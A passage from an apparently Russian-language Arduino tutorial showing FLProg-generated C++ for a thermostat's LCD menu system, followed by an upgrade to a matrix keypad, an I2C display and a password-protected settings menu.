digitalWrite(11, ( (( (\_gtv12) || (\_gtv10) )) && ((\_menuValueArray\_bool[0])) ));
if (\_gtv10)
{
\_swi1 = String("H - ON");
}
else
{
\_swi1 = String("H - OFF");
}
if (\_gtv12)
{
\_swi2 = String("V - ON");
}
else
{
\_swi2 = String("V - OFF");
}
if (!(\_gtv6)) {
\_dispTempLength1 = ((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C"))))).length();
if (\_disp3oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp3oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 0);
\_lcd1.print((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C")))));
} else {
if (\_disp3oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp3oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength1 = ((((\_swi1) + (String(" ")) + (\_swi2)))).length();
if (\_disp4oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp4oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 1);
\_lcd1.print((((\_swi1) + (String(" ")) + (\_swi2))));
} else {
if (\_disp4oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp4oldLength = 0;
}
}
}
String \_floatToStringWitRaz(float value, int raz)
{
return String(value, raz);
}
bool \_isTimer(unsigned long startTime, unsigned long period )
{
unsigned long currentTime;
currentTime = millis();
if (currentTime >= startTime) {
return (currentTime >= (startTime + period));
} else {
return (currentTime >= (4294967295 - startTime + period));
}
}
void \_menuUpEvents (byte menuIndex)
{
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStartIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStopIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex - 2];
return;
}
void \_menuDownEvents (byte menuIndex)
{
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStopIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStartIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex];
return;
}
void \_valueUpEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1 ] = 1;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] + (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
}
void \_valueDownEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1] = 0;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] - (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
}
void \_menuEnterTheMenuEvents (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (!(itemType == 0)) {
return;
}
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte newIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[tempIndex - 1]).startInArrayIndex) + 3]);
if (newIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[newIndex - 1];
return;
}
void \_menuExitFromMenuEvents (byte menuIndex)
{
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
if (parIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parIndex - 1];
return;
}
String \_menuOutputValueString (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte valueStrIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 11]);
if (itemType == 0) {
if ( valueStrIndex == 0) {
return "";
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[valueStrIndex - 1])));
}
}
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
if ( valIndex == 0) {
return "";
}
byte convFormat = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 9]);
if (itemType == 3) {
return \_convertBoolean(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 4) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
return "";
}
void \_menuUpdateToEEpromItems()
{
EEPROM.updateInt(2, (\_menuValueArray\_int[0]));
EEPROM.updateInt(4, (\_menuValueArray\_int[1]));
EEPROM.updateBit(1, 0, (\_menuValueArray\_bool[0]));
EEPROM.updateInt(6, (\_menuValueArray\_int[2]));
EEPROM.updateInt(8, (\_menuValueArray\_int[3]));
}
String \_readStringFromProgmem (char \*string)
{
String result = String("");
while (pgm\_read\_byte(string) != '\0')
{
result = result + char(pgm\_read\_byte(string));
string++;
}
return result;
}
String \_convertNamber(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (itemType == 4) {
if (convFormat == 4) {
return String((\_menuValueArray\_int[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_int[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_int[valIndex - 1]), BIN);
}
}
}
String \_convertBoolean(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (convFormat == 1) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "1";
} else {
return "0";
}
}
if (convFormat == 2) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "True";
} else {
return "False";
}
}
if (convFormat == 3) {
if (\_menuValueArray\_bool[valIndex - 1 ]) {
return "Да";
} else {
return "Нет";
}
}
if (\_menuValueArray\_bool[valIndex - 1]) {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMax - 1])));
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMin - 1])));
}
}
struct UB\_142171746 \_func\_UB\_142171746(struct UB\_142171746 \_ubInstans, int ubi\_125089190, int ubpar\_125440348, int ubpar\_79146376, int ubpar\_175158211, int ubpar\_40719224)
{
bool ubo\_101667604 = \_ubInstans.ubo\_101667604;
bool ubo\_51674151 = \_ubInstans.ubo\_51674151;
bool ubo\_137412502 = \_ubInstans.ubo\_137412502;
bool ubo\_174461762 = \_ubInstans.ubo\_174461762;
bool ubo\_157422683 = \_ubInstans.ubo\_157422683;
int \_gtv1 = \_ubInstans.\_gtv1;
int \_gtv2 = \_ubInstans.\_gtv2;
int \_gtv3 = \_ubInstans.\_gtv3;
int \_gtv4 = \_ubInstans.\_gtv4;
int \_gtv5 = \_ubInstans.\_gtv5;
bool \_bounse1S = \_ubInstans.\_bounse1S;
bool \_bounse1O = \_ubInstans.\_bounse1O;
unsigned long \_bounse1P = \_ubInstans.\_bounse1P;
bool \_bounse2S = \_ubInstans.\_bounse2S;
bool \_bounse2O = \_ubInstans.\_bounse2O;
unsigned long \_bounse2P = \_ubInstans.\_bounse2P;
bool \_bounse3S = \_ubInstans.\_bounse3S;
bool \_bounse3O = \_ubInstans.\_bounse3O;
unsigned long \_bounse3P = \_ubInstans.\_bounse3P;
bool \_bounse4S = \_ubInstans.\_bounse4S;
bool \_bounse4O = \_ubInstans.\_bounse4O;
unsigned long \_bounse4P = \_ubInstans.\_bounse4P;
bool \_bounse5S = \_ubInstans.\_bounse5S;
bool \_bounse5O = \_ubInstans.\_bounse5O;
unsigned long \_bounse5P = \_ubInstans.\_bounse5P;
bool \_bounceTmpD1 = (ubi\_125089190) < (\_gtv1);
if (\_bounse1S)
{
if (millis() >= (\_bounse1P + 40))
{
\_bounse1O = \_bounceTmpD1;
\_bounse1S = 0;
}
}
else
{
if ( \_bounceTmpD1 != \_bounse1O )
{
\_bounse1S = 1;
\_bounse1P = millis();
}
}
bool \_bounceTmpD2 = ( ((ubi\_125089190) > (\_gtv1)) && ((ubi\_125089190) < (\_gtv2)) );
if (\_bounse2S)
{
if (millis() >= (\_bounse2P + 40))
{
\_bounse2O = \_bounceTmpD2;
\_bounse2S = 0;
}
}
else
{
if ( \_bounceTmpD2 != \_bounse2O )
{
\_bounse2S = 1;
\_bounse2P = millis();
}
}
bool \_bounceTmpD3 = ( ((ubi\_125089190) > (\_gtv2)) && ((ubi\_125089190) < (\_gtv3)) );
if (\_bounse3S)
{
if (millis() >= (\_bounse3P + 40))
{
\_bounse3O = \_bounceTmpD3;
\_bounse3S = 0;
}
}
else
{
if ( \_bounceTmpD3 != \_bounse3O )
{
\_bounse3S = 1;
\_bounse3P = millis();
}
}
bool \_bounceTmpD4 = ( ((ubi\_125089190) > (\_gtv3)) && ((ubi\_125089190) < (\_gtv4)) );
if (\_bounse4S)
{
if (millis() >= (\_bounse4P + 40))
{
\_bounse4O = \_bounceTmpD4;
\_bounse4S = 0;
}
}
else
{
if ( \_bounceTmpD4 != \_bounse4O )
{
\_bounse4S = 1;
\_bounse4P = millis();
}
}
bool \_bounceTmpD5 = ( ((ubi\_125089190) > (\_gtv4)) && ((ubi\_125089190) < (\_gtv5)) );
if (\_bounse5S)
{
if (millis() >= (\_bounse5P + 40))
{
\_bounse5O = \_bounceTmpD5;
\_bounse5S = 0;
}
}
else
{
if ( \_bounceTmpD5 != \_bounse5O )
{
\_bounse5S = 1;
\_bounse5P = millis();
}
}
\_gtv1 = (ubpar\_125440348) / (2);
\_gtv2 = (((ubpar\_79146376) - (ubpar\_125440348)) / (2)) + (ubpar\_125440348);
\_gtv3 = (((ubpar\_175158211) - (ubpar\_79146376)) / (2)) + (ubpar\_79146376);
\_gtv4 = (((ubpar\_40719224) - (ubpar\_175158211)) / (2)) + (ubpar\_175158211);
\_gtv5 = (((1023) - (ubpar\_40719224)) / (2)) + (ubpar\_40719224);
ubo\_101667604 = \_bounse1O;
ubo\_51674151 = \_bounse2O;
ubo\_137412502 = \_bounse3O;
ubo\_174461762 = \_bounse4O;
ubo\_157422683 = \_bounse5O;
\_ubInstans.ubo\_101667604 = ubo\_101667604;
\_ubInstans.ubo\_51674151 = ubo\_51674151;
\_ubInstans.ubo\_137412502 = ubo\_137412502;
\_ubInstans.ubo\_174461762 = ubo\_174461762;
\_ubInstans.ubo\_157422683 = ubo\_157422683;
\_ubInstans.\_gtv1 = \_gtv1;
\_ubInstans.\_gtv2 = \_gtv2;
\_ubInstans.\_gtv3 = \_gtv3;
\_ubInstans.\_gtv4 = \_gtv4;
\_ubInstans.\_gtv5 = \_gtv5;
\_ubInstans.\_bounse1S = \_bounse1S;
\_ubInstans.\_bounse1O = \_bounse1O;
\_ubInstans.\_bounse1P = \_bounse1P;
\_ubInstans.\_bounse2S = \_bounse2S;
\_ubInstans.\_bounse2O = \_bounse2O;
\_ubInstans.\_bounse2P = \_bounse2P;
\_ubInstans.\_bounse3S = \_bounse3S;
\_ubInstans.\_bounse3O = \_bounse3O;
\_ubInstans.\_bounse3P = \_bounse3P;
\_ubInstans.\_bounse4S = \_bounse4S;
\_ubInstans.\_bounse4O = \_bounse4O;
\_ubInstans.\_bounse4P = \_bounse4P;
\_ubInstans.\_bounse5S = \_bounse5S;
\_ubInstans.\_bounse5O = \_bounse5O;
\_ubInstans.\_bounse5P = \_bounse5P;
return \_ubInstans;
}
```
Теперь немного «прокачаем» проект. Заменим LCD Keypad Shield на матричную клавиатуру 4х4 и дисплей 4х20 подключенный по I2C.
Это позволит задавать значение не пошагово, а простым вводом цифр. Кроме того это позволит сделать вход в меню по паролю. Изменённая схема проекта.
**Целиком проект.** 
Рассмотрим изменённые платы
Используется стандартный блок опроса матричной клавиатуры из библиотеки элементов.
При нажатии кнопки «\*» активируется меню. Только на этот раз не основное меню, а меню для ввода пароля.
Настройки парольного меню
Данное меню состоит из одного пункта, служащего для ввода пароля. Использован тип Long Integer для увеличения количества символов пароля.
На этой плате проверяется правильность ввода пароля. При совпадении введённого пароля и сохранённого в основном меню включается основное меню. При выходе из меню в значение вводимого пароля записывается 0 (подготовка к следующему вводу)
В основное дерево меню добавлен пункт для настройки сохранённого пароля.
Так же изменения коснулись закладки «Управление значением»
Управление значением переведено на непосредственный ввод цифр. Остальные платы не изменились.
**Результат компиляции проекта**
```
#include
#include
#include
LiquidCrystal\_I2C \_lcd2(0x27, 20, 4);
int \_dispTempLength2 = 0;
boolean \_isNeedClearDisp2;
const byte \_menuParametrsArray[] PROGMEM = {1, 5, 1, 0, 0, 0, 0, 0, 1, 4, 1, 0, 0, 2, 0, 0, 6, 7, 0, 0, 0, 0, 0, 8, 11, 0, 3, 0, 0, 8, 9, 0, 0, 0, 0, 0, 6, 11, 0, 4, 3, 1, 0, 0, 0, 12, 13, 1, 8, 3, 0, 0, 5, 5, 2, 0, 0, 0, 0, 0, 1, 4, 2, 0, 0, 6, 4, 2, 0, 0, 2, 0, 0, 1, 4, 5, 0, 10, 7, 4, 4, 0, 0, 2, 0, 0, 1, 4, 9, 0, 10, 8, 4, 3, 0, 0, 3, 0, 0, 1, 4, 7, 0, 10, 9, 4, 1, 0, 0, 3, 0, 0, 1, 4, 4, 0, 10};
bool \_menuValueArray\_bool[1];
const bool \_menuConstantValuesArray\_bool[] PROGMEM = {1};
int \_menuValueArray\_int[4];
const int \_menuConstantValuesArray\_int[] PROGMEM = {1};
long \_menuValueArray\_long[2];
const long \_menuConstantValuesArray\_long[] PROGMEM = {1};
const char \_flprogMenuNameString1[] PROGMEM = "Enter Password";
const char \_flprogMenuNameString2[] PROGMEM = "ChangePassword";
const char \_flprogMenuNameString3[] PROGMEM = "Sound";
const char \_flprogMenuNameString4[] PROGMEM = "Vent-Off";
const char \_flprogMenuNameString5[] PROGMEM = "Heater-On";
const char \_flprogMenuNameString6[] PROGMEM = "Vent Setting";
const char \_flprogMenuNameString7[] PROGMEM = "Vent-On";
const char \_flprogMenuNameString8[] PROGMEM = "HeaterSetting";
const char \_flprogMenuNameString9[] PROGMEM = "Heater-Off";
const char \_flprogMenuNameString10[] PROGMEM = "C";
const char \_flprogMenuNameString11[] PROGMEM = "Enter to submenu";
const char \_flprogMenuNameString12[] PROGMEM = "On";
const char \_flprogMenuNameString13[] PROGMEM = "Off";
const char\* const \_flprogMenuStringsArray[] PROGMEM = { \_flprogMenuNameString1, \_flprogMenuNameString2, \_flprogMenuNameString3, \_flprogMenuNameString4, \_flprogMenuNameString5, \_flprogMenuNameString6, \_flprogMenuNameString7, \_flprogMenuNameString8, \_flprogMenuNameString9, \_flprogMenuNameString10, \_flprogMenuNameString11, \_flprogMenuNameString12, \_flprogMenuNameString13};
struct \_menuItemStricture {
int startInArrayIndex;
};
struct \_menuMainStricture {
String tempString;
byte startIndex;
byte stopIndex;
bool isSwitchMenuAroundRing;
\_menuItemStricture currentItem;
};
\_menuItemStricture \_MenuItems[9];
\_menuMainStricture \_MainMenus[2];
bool \_gtv6;
bool \_gtv10 = 0;
float \_gtv11;
bool \_gtv12 = 0;
bool \_gtv1;
bool \_gtv2;
bool \_gtv3;
bool \_gtv4;
bool \_gtv5;
bool \_gtv13;
bool \_gtv14;
bool \_gtv15;
bool \_gtv16;
bool \_gtv17;
bool \_gtv18;
bool \_gtv19;
bool \_gtv20;
bool \_gtv21;
bool \_gtv22;
bool \_gtv23;
bool \_gtv7;
bool \_gtv8;
int \_disp1oldLength = 0;
int Menu\_Value\_4\_TVD = 0;
int Menu\_Value\_2\_TVD = 0;
bool \_trgr4 = 0;
String \_swi1;
bool \_trgr1 = 0;
bool \_trgr3 = 0;
int \_disp2oldLength = 0;
bool \_trgt1 = 0;
bool \_trgt1I = 0;
int Menu\_Value\_3\_TVD = 0;
String \_MenuBlock\_47814740\_ASO\_1;
String \_MenuBlock\_47814740\_MNO;
String \_MenuBlock\_47814740\_VNO;
bool \_MenuBlock\_47814740\_OEIS = 0;
bool \_MenuBlock\_47814740\_OMUIS = 0;
bool \_MenuBlock\_47814740\_OMDIS = 0;
bool \_MenuBlock\_47814740\_OEMIS = 0;
bool \_MenuBlock\_47814740\_OExFMIS = 0;
bool \_MenuBlock\_47814740\_IDI\_0 = 0;
bool \_MenuBlock\_47814740\_IDI\_1 = 0;
bool \_MenuBlock\_47814740\_IDI\_2 = 0;
bool \_MenuBlock\_47814740\_IDI\_3 = 0;
bool \_MenuBlock\_47814740\_IDI\_4 = 0;
bool \_MenuBlock\_47814740\_IDI\_5 = 0;
bool \_MenuBlock\_47814740\_IDI\_6 = 0;
bool \_MenuBlock\_47814740\_IDI\_7 = 0;
bool \_MenuBlock\_47814740\_IDI\_8 = 0;
bool \_MenuBlock\_47814740\_IDI\_9 = 0;
bool \_MenuBlock\_47814740MinusIOS = 0;
int Menu\_Value\_1\_TVD = 0;
bool \_mkb1C1xP1 = 0;
bool \_mkb1C1xP2 = 0;
bool \_mkb1C1xP3 = 0;
bool \_mkb1C1xP4 = 0;
bool \_mkb1C2xP1 = 0;
bool \_mkb1C2xP2 = 0;
bool \_mkb1C2xP3 = 0;
bool \_mkb1C2xP4 = 0;
bool \_mkb1C3xP1 = 0;
bool \_mkb1C3xP2 = 0;
bool \_mkb1C3xP3 = 0;
bool \_mkb1C3xP4 = 0;
bool \_mkb1C4xP1 = 0;
bool \_mkb1C4xP2 = 0;
bool \_mkb1C4xP3 = 0;
bool \_mkb1C4xP4 = 0;
bool \_trgrt1 = 0;
bool \_trgrt1I = 0;
int \_disp6oldLength = 0;
int \_disp4oldLength = 0;
int \_disp5oldLength = 0;
String \_MenuBlock\_360159546\_MNO;
String \_MenuBlock\_360159546\_VNO;
bool \_MenuBlock\_360159546\_OEIS = 0;
bool \_MenuBlock\_360159546\_IDI\_0 = 0;
bool \_MenuBlock\_360159546\_IDI\_1 = 0;
bool \_MenuBlock\_360159546\_IDI\_2 = 0;
bool \_MenuBlock\_360159546\_IDI\_3 = 0;
bool \_MenuBlock\_360159546\_IDI\_4 = 0;
bool \_MenuBlock\_360159546\_IDI\_5 = 0;
bool \_MenuBlock\_360159546\_IDI\_6 = 0;
bool \_MenuBlock\_360159546\_IDI\_7 = 0;
bool \_MenuBlock\_360159546\_IDI\_8 = 0;
bool \_MenuBlock\_360159546\_IDI\_9 = 0;
int \_disp7oldLength = 0;
int \_disp3oldLength = 0;
String \_swi2;
void setup()
{
if ((EEPROM.read(0)) != 99) {
EEPROM.write(0, 99) ;
EEPROM.updateInt(12, 25);
EEPROM.updateLong(2, 123456);
EEPROM.updateInt(6, 30);
EEPROM.updateInt(10, 40);
EEPROM.updateBit(1, 0, 0);
EEPROM.updateInt(8, 10);
}
Wire.begin();
pinMode(16, OUTPUT);
pinMode(15, OUTPUT);
pinMode(17, OUTPUT);
\_lcd2.init();
\_lcd2.backlight();
pinMode(6, INPUT);
digitalWrite(6, HIGH);
pinMode(7, INPUT);
digitalWrite(7, HIGH);
pinMode(8, INPUT);
digitalWrite(8, HIGH);
pinMode(9, INPUT);
digitalWrite(9, HIGH);
pinMode(2, OUTPUT);
digitalWrite(2, HIGH);
pinMode(3, OUTPUT);
digitalWrite(3, HIGH);
pinMode(4, OUTPUT);
digitalWrite(4, HIGH);
pinMode(5, OUTPUT);
digitalWrite(5, HIGH);
\_MenuItems[0].startInArrayIndex = 0;
\_MenuItems[1].startInArrayIndex = 13;
\_MenuItems[2].startInArrayIndex = 26;
\_MenuItems[3].startInArrayIndex = 39;
\_MenuItems[4].startInArrayIndex = 52;
\_MenuItems[5].startInArrayIndex = 65;
\_MenuItems[6].startInArrayIndex = 78;
\_MenuItems[7].startInArrayIndex = 91;
\_MenuItems[8].startInArrayIndex = 104;
\_MainMenus[0].tempString = "";
\_MainMenus[0].startIndex = 1;
\_MainMenus[0].isSwitchMenuAroundRing = 0;
\_MainMenus[0].stopIndex = 1;
\_MainMenus[0].currentItem = \_MenuItems[0];
\_MainMenus[1].tempString = "";
\_MainMenus[1].startIndex = 2;
\_MainMenus[1].isSwitchMenuAroundRing = 1;
\_MainMenus[1].stopIndex = 5;
\_MainMenus[1].currentItem = \_MenuItems[1];
\_menuValueArray\_long[1] = (EEPROM.readLong(2));
\_menuValueArray\_bool[0] = (EEPROM.readBit(1, 0));
\_menuValueArray\_int[0] = (EEPROM.readInt(6));
\_menuValueArray\_int[1] = (EEPROM.readInt(8));
\_menuValueArray\_int[2] = (EEPROM.readInt(10));
\_menuValueArray\_int[3] = (EEPROM.readInt(12));
}
void loop()
{ bool \_tempVariable\_bool;
byte \_tempVariable\_byte;
if (\_isNeedClearDisp2) {
\_lcd2.clear();
\_isNeedClearDisp2 = 0;
}
\_gtv11 = (map(( (analogRead (0))), (0), (1023), (-20), (80)));
digitalWrite(2, 0);
\_mkb1C1xP1 = ! (digitalRead(6));
\_mkb1C1xP2 = ! (digitalRead(7));
\_mkb1C1xP3 = ! (digitalRead(8));
\_mkb1C1xP4 = ! (digitalRead(9));
digitalWrite(2, 1);
digitalWrite(3, 0);
\_mkb1C2xP1 = ! (digitalRead(6));
\_mkb1C2xP2 = ! (digitalRead(7));
\_mkb1C2xP3 = ! (digitalRead(8));
\_mkb1C2xP4 = ! (digitalRead(9));
digitalWrite(3, 1);
digitalWrite(4, 0);
\_mkb1C3xP1 = ! (digitalRead(6));
\_mkb1C3xP2 = ! (digitalRead(7));
\_mkb1C3xP3 = ! (digitalRead(8));
\_mkb1C3xP4 = ! (digitalRead(9));
digitalWrite(4, 1);
digitalWrite(5, 0);
\_mkb1C4xP1 = ! (digitalRead(6));
\_mkb1C4xP2 = ! (digitalRead(7));
\_mkb1C4xP3 = ! (digitalRead(8));
\_mkb1C4xP4 = ! (digitalRead(9));
digitalWrite(5, 1);
\_gtv1 = \_mkb1C1xP1;
\_gtv2 = \_mkb1C1xP2;
\_gtv3 = \_mkb1C1xP3;
\_gtv18 = \_mkb1C1xP4;
\_gtv4 = \_mkb1C2xP1;
\_gtv5 = \_mkb1C2xP2;
\_gtv13 = \_mkb1C2xP3;
\_gtv19 = \_mkb1C2xP4;
\_gtv14 = \_mkb1C3xP1;
\_gtv15 = \_mkb1C3xP2;
\_gtv16 = \_mkb1C3xP3;
\_gtv20 = \_mkb1C3xP4;
\_gtv23 = \_mkb1C4xP1;
\_gtv17 = \_mkb1C4xP2;
\_gtv22 = \_mkb1C4xP3;
\_gtv21 = \_mkb1C4xP4;
bool \_tmp1 = \_gtv23;
if (\_tmp1) {
if (! \_trgt1I) \_trgt1 = ! \_trgt1;
}
\_trgt1I = \_tmp1;
\_gtv6 = \_trgt1;
if (\_gtv7) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_360159546\_OEIS ) {
\_MenuBlock\_360159546\_OEIS = 1;
(\_MainMenus[0]).tempString = "";
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_360159546\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_360159546\_VNO = \_menuOutputValueString (0);
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_360159546\_OEIS) {
\_MenuBlock\_360159546\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
\_MenuBlock\_360159546\_MNO = "";
\_MenuBlock\_360159546\_VNO = "";
}
if (\_gtv17) {
if ( ! \_MenuBlock\_360159546\_IDI\_0) {
\_MenuBlock\_360159546\_IDI\_0 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '0');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_0 = 0;
}
if (\_gtv1) {
if ( ! \_MenuBlock\_360159546\_IDI\_1) {
\_MenuBlock\_360159546\_IDI\_1 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '1');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_1 = 0;
}
if (\_gtv2) {
if ( ! \_MenuBlock\_360159546\_IDI\_2) {
\_MenuBlock\_360159546\_IDI\_2 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '2');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_2 = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_360159546\_IDI\_3) {
\_MenuBlock\_360159546\_IDI\_3 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '3');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_3 = 0;
}
if (\_gtv4) {
if ( ! \_MenuBlock\_360159546\_IDI\_4) {
\_MenuBlock\_360159546\_IDI\_4 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '4');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_4 = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_360159546\_IDI\_5) {
\_MenuBlock\_360159546\_IDI\_5 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '5');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_5 = 0;
}
if (\_gtv13) {
if ( ! \_MenuBlock\_360159546\_IDI\_6) {
\_MenuBlock\_360159546\_IDI\_6 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '6');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_6 = 0;
}
if (\_gtv14) {
if ( ! \_MenuBlock\_360159546\_IDI\_7) {
\_MenuBlock\_360159546\_IDI\_7 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '7');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_7 = 0;
}
if (\_gtv15) {
if ( ! \_MenuBlock\_360159546\_IDI\_8) {
\_MenuBlock\_360159546\_IDI\_8 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '8');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_8 = 0;
}
if (\_gtv16) {
if ( ! \_MenuBlock\_360159546\_IDI\_9) {
\_MenuBlock\_360159546\_IDI\_9 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '9');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_9 = 0;
}
if (\_gtv7) {
\_dispTempLength2 = ((\_MenuBlock\_360159546\_MNO)).length();
if (\_disp6oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp6oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((\_MenuBlock\_360159546\_MNO));
